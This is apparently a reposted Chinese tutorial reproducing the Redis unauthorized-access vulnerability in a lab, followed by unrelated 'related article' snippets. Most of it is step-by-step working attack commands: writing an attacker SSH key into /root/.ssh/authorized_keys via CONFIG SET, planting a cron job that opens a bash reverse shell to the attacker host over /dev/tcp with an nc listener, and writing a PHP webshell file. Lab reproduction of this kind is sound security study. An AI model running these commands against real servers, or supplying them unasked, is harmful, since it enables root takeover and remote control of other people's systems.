redis 公网 安全_redis漏洞复现

fa8a89aee121deaaded6773e8cf43f4a.png

一、漏洞简介

什么是redis

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

redis 是一个高性能的key-value数据库。redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客户端,使用很方便。

redis未授权访问漏洞

redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

本次复现主要是:

1.Redis以root身份运行,给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

2.将文件写入周期性计划任务,然后接受反弹shell

3.如果搭建了web服务器,写入webshell,控制服务器(此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改)

准备环境:

攻击机(kali):192.168.163.131(需要自己搭建redis-cli,和服务器端搭建步骤一样)

靶机(centos):192.168.163.132

二、环境搭建

(1)下载redis压缩包

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

2fe79a20eb651d677e261b4f50a4e021.png

(2)将压缩包放入指定路径,并且进入指定路径

cp redis-2.8.17.tar.gz /root/Desktop/redis/redis-2.8.17.tar.gz
cd redis

92911d1370c6dc422d2ac0c0698a1367.png

(3)解压压缩包,进入指定路径redis-2.8.17,进行安装

tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make

f0792906aff5b1cc7fcabed5ca5451ab.png

(4)进入到src路径下

bd81b7141461cda1fc4502ae02fe790a.png

(5)将redis-server和redis-cli拷贝到/usr/bin目录下,后续方便直接启动redis服务器并且将redis-2.8.17目录下面的redis.conf拷贝到/etc下面

cp redis-server /usr/bin
cp redis-cli /usr/bin
cp redis.conf /etc/redis.conf

7f4b0228386df97f473ad653620fa211.png

(6)启动服务

redis-server /etc/redis.conf

034613aceda46ca6dbf213baaa08bad5.png

三、漏洞复现

3.1 利用“公私钥”认证获得root权限

(1)未授权访问连接(无法连接)

redis-cli -h 192.168.163.132

47ddd06418f5c077d87b251113a53e39.png

(2)因为是本地搭建,没有开启6379端口对外开放,此处为了方便,直接关闭服务器(靶机)的防火墙

/etc/init.d/iptables stop

487db6936a73fb799c49f87b835b4b29.png

(3)kali攻击机未授权访问连接

redis-cli -h 192.168.163.132
keys *

3b4fe35b565906b15cfd5cf2647a1b46.png

(4)在攻击机中生成ssh公钥和私钥,密码设置为空:

ssh-keygen -t rsa

771b1f520912587bd3143ffb673c664b.png

(5)进入.ssh目录,将生成的公钥保存到1.txt:

cd /root/.ssh
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txt

25e964760e9ad4a660aa0dfebaba27e1.png

(6)将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

cat 1.txt | redis-cli -h 192.168.163.132 -x set crack

2ad755eebdf6a5b90eb37417e962dc0d.png

(7)并使用 CONFIG GET dir 命令得到redis备份的路径:

CONFIG GET dir

43e163f25519bf66ecc39fc802002172.png

(8)更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),并且修改上传公钥文件的名称为authorized_keys

config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys

7d3d260e99bdd37c40bedf38fa2903b0.png

(9)检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:

CONFIG GET dbfilename
save

8f85d70978abf7802391de5fbf1d286a.png

(10)查看服务器端已经成功写入

32df0b26a85020a6dc4c902611440776.png

(11)攻击机成功登陆到服务器

ssh -i id_rsa root@192.168.163.132

8124c730eca23ff982e40bde4ab8aa3a.png

3.2利用crontab反弹shell

权限足够的情况下,利用redis写入文件到周期性计划任务执行。

(1)在kali攻击机里面监听指定端口

nc -lvnp 8888

d707b53dc171ae1589ed02bd4879f69a.png

(2)向服务器写入文件

set xxx "nn*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.163.131/8888 0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save

30bd10eba316b3d36d788184e9ed20a9.png

3)查看服务器端的写入情况

cce84ecf8bc36f2ea0207706227490f0.png

(4)Kali攻击机已经可以连接了(得到了反弹shell)

f6dbd5ac63f9366d5f65130a1d5ce319.png

3.3写入webshell

此处因为是自己搭建的测试环境,只是将文件写入了/tmp目录,真实情况需要修改,将文件写入web路径

(1)写入文件到/tmp目录

config set dir /tmp
config set dbfilename shell.php
set webshell "<?php phpinfo(); ?>"
save

4c09a1963e012ba77e2e4d9cb4041876.png

(2)查看服务器

2b07322a71e9651c35e8dc9eb94308fc.png

备注:

写入webshell的时候,可以使用:

set x "rnrn<?php phpinfo();?>rnrn"

rnrn代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

原文链接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/519609.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

实时计算的最佳实践:基于表格存储和Blink的大数据实时计算

表格存储: 数据存储和数据消费All in one 表格存储&#xff08;Table Store&#xff09;是阿里云自研的NoSQL多模型数据库&#xff0c;提供PB级结构化数据存储、千万TPS以及毫秒级延迟的服务能力。在实时计算场景里&#xff0c;表格存储强大的写入能力和多模型的存储形态&…

关于JDK8采坑JCE加密限制版本问题

文章目录一、解决方案11. 调研2. 常见的异常3. 安全性机制导致的访问https会报错4. 解决方案5. 操作流程6. 移动jar配置策略二、解决方案22.1. 声明2.2. 编辑策略文件2.3. 修改默认属性一、解决方案1 声明&#xff1a;jdk1.8已经经过线上环境使用 1. 调研 JDK8的加密策略存在…

速围观!云+X 案例评选榜单重磅出炉!

2019年11月&#xff0c;CSDN云计算强势开启“云X”案例征集活动&#xff0c;从先进性、拓展性、效益性等三个基本方向出发&#xff0c;深入展现云技术作用行业的突出优势。时隔2个月&#xff0c;通过广泛征集等方式&#xff0c;经过层层筛选&#xff0c;深入挖掘出跨行业、跨生…

uvm 形式验证_UVM基础

uvm_component与uvm_object1.几乎所有的类都派生于uvm_object&#xff0c;包括uvm_component。uvm_component有两大特性是uvm_object所没有的&#xff1a;一是通过在new的时候指定parent参数来形成一种树形的组织结构&#xff1b;二是有phase的自动执行特点。下图是常用的UVM继…

linux根文件系统 /etc/resolv.conf 文件详解

大家好&#xff0c;今天51开源给大家介绍一个在配置文件&#xff0c;那就是/etc/resolv.conf。很多网友对此文件的用处不太了解。其实并不复杂&#xff0c;它是DNS客户机配置文件&#xff0c;用于设置DNS服务器的IP地址及DNS域名&#xff0c;还包含了主机的域名搜索顺序。该文件…

Table Store: 海量结构化数据实时备份实战

Table Store: 海量结构化数据实时备份实战 数据备份简介 在信息技术与数据管理领域&#xff0c;备份是指将文件系统或数据库系统中的数据加以复制&#xff0c;一旦发生灾难或者错误操作时&#xff0c;得以方便而及时地恢复系统的有效数据和正常运作。在实际备份过程中&#xf…

云+X案例展 | 电商零售类:云徙助力良品铺子「双11」

本案例由云徙投递并参与评选&#xff0c;CSDN云计算独家全网首发&#xff1b;更多关于【云X 案例征集】的相关信息&#xff0c;点击了解详情丨挖掘展现更多优秀案例&#xff0c;为不同行业领域带来启迪&#xff0c;进而推动整个“云行业”的健康发展。助力品牌制胜双十一的背后…

strtus2改成springboot_ssh框架使用springBoot升级迁移替换Struts2

如果一个十来年的ssh项目想使用springboot的便捷性&#xff0c;但又不想从零开始&#xff0c;那么就让我们开始迁移吧。在pom文件添加springboot 依赖创建application 启动类迁移web.xmlweb.xml文件中定义了filter, struts2等等一堆filter, 这时我们需要做的一件事是在springbo…

同样做前端,为何差距越来越大?

阿里妹导读&#xff1a;前端应用越来越复杂&#xff0c;技术框架不断变化&#xff0c;如何成为一位优秀的前端工程师&#xff0c;应对更大的挑战&#xff1f;今天&#xff0c;阿里前端技术专家会影结合实际工作经验&#xff0c;沉淀了五项重要方法&#xff0c;希望能对你的职业…

云+X案例展 | 民生类:必创科技助力打造智慧城市

本案例由必创科技投递并参与评选&#xff0c;CSDN云计算独家全网首发&#xff1b;更多关于【云X 案例征集】的相关信息&#xff0c;点击了解详情丨挖掘展现更多优秀案例&#xff0c;为不同行业领域带来启迪&#xff0c;进而推动整个“云行业”的健康发展。每当夜幕降临&#xf…

刚刚,阿里宣布开源Flutter应用框架Fish Redux!

3月5日&#xff0c;闲鱼宣布在GitHub上开源Fish Redux&#xff0c;Fish Redux是一个基于 Redux 数据管理的组装式 flutter 应用框架&#xff0c; 特别适用于构建中大型的复杂应用&#xff0c;它最显著的特征是 函数式的编程模型、可预测的状态管理、可插拔的组件体系、最佳的性…

谈谈结构体部分成员排序(重载的利用/sort)

涉及知识点&#xff1a; 1.重载运算符的知识 2.sort函数的使用 3.高精度排序 sort函数的用法&#xff1f; 通过面向百度GOOGLE编程的我&#xff0c;得知&#xff0c;sort的用法 sort函数详解&#xff08;史上最完整QAQ&#xff09; - AlvinZH - 博客园 对于数组而言&…

qt最大化和还原实现_研究进展 | 水生所关于细菌异化型硝酸盐还原成铵与反硝化脱氮两种途径抉择的分子调控机制研究取得进展...

在无氧和缺氧条件下&#xff0c;许多细菌可利用硝酸根和亚硝酸根作为电子受体进行无氧呼吸&#xff0c;包括异化型硝酸盐还原成铵(dissimilatory nitrate reduction (DNR) to ammonia&#xff0c;DNRA)和反硝化脱氮(denitrification)两种相互竞争的DNR途径&#xff0c;在氮元素…

rabbitmq 集群 ha负载 Consumer raised exception, processing can restart if the connection factory

文章目录1. 背景2. 现象3. 原因分析4. 解决方案5. 成功案例1. 背景 线上有一个rabbitmq 集群,一台磁盘模式的 两台内存模式的. 使用erlang 做cookie 做同步.haproxy做负载 2. 现象 在连接一会后 程序抛出异常 Consumer raised exception, processing can restart if the con…

2019 年,容器技术生态会发生些什么?

1. Kubernetes 项目被采纳度将持续增长 作为“云原生”&#xff08;Cloud Native&#xff09;理念落地的核心&#xff0c;Kubernetes 项目已经成为了构建容器化平台体系的默认选择。但是&#xff0c;不同于一个只能生产资源的集群管理工具&#xff0c;Kubernetes 项目最大的价…

中国科学院院士徐宗本:人工智能的基石是数学

来源&#xff1a;科学网 “人工智能的基石是数学&#xff0c;没有数学基础科学的支持&#xff0c;人工智能很难行稳致远。” 近日&#xff0c;由联合国教科文组织和中国工程院联合主办的联合国教科文组织国际工程科技知识中心2019国际高端研讨会上&#xff0c;中国科学院院士、…

编写一个C程序,实现以下功能:输入n个人的身高,然后从n个人中选出身高差值最小的两个人作为礼仪(如果差值相同的话,选取其中最高的两个人),要求输出两个礼仪的身高。

题目要求 编写一个C程序&#xff0c;实现以下功能&#xff1a; 输入n个人的身高&#xff0c;然后从n个人中选出身高差值最小的两个人作为礼仪 &#xff08;如果差值相同的话&#xff0c;选取其中最高的两个人&#xff09;&#xff0c;要求输出两个礼仪的身高。&#xff08;使用…

Jenkins操作手册

文章目录一、企业实战(JenkinsGitLabSonarQube)1. Jenkins下载2. Jenkins运行3. .Jenkins登录4. Jenkins安装推荐插件5. Jenkins创建管理员用户6. Jenkins自定义安装插件7. Jenkins 安全设置8. jenkins安装和第一个Java项目构建9. jenkins发布项目到测试环境10. Jenkins通过Dep…

MySQL运维实战 之 PHP访问MySQL你使用对了吗

大家都知道&#xff0c;slow query系统做的好不好&#xff0c;直接决定了解决slow query的效率问题 一个数据库管理平台&#xff0c;拥有一个好的slow query系统&#xff0c;基本上就拥有了解锁性能问题的钥匙 但是今天主要分享的并不是平台&#xff0c;而是在平台中看到的奇…

三个数差的平方公式推导过程_勾股数公式的简单推导

勾股数 是指满足 的正整数&#xff0c;它们的通用公式为 &#xff0c;下边我从定义出发&#xff0c;利用平方差公式举例实验找规律&#xff0c;推导出这一通用公式。由 可知 当 为奇数时 和 全都是奇数&#xff1b;当 为偶数时 和 全都是偶数。&#xff08; &#xff0c;与 同奇…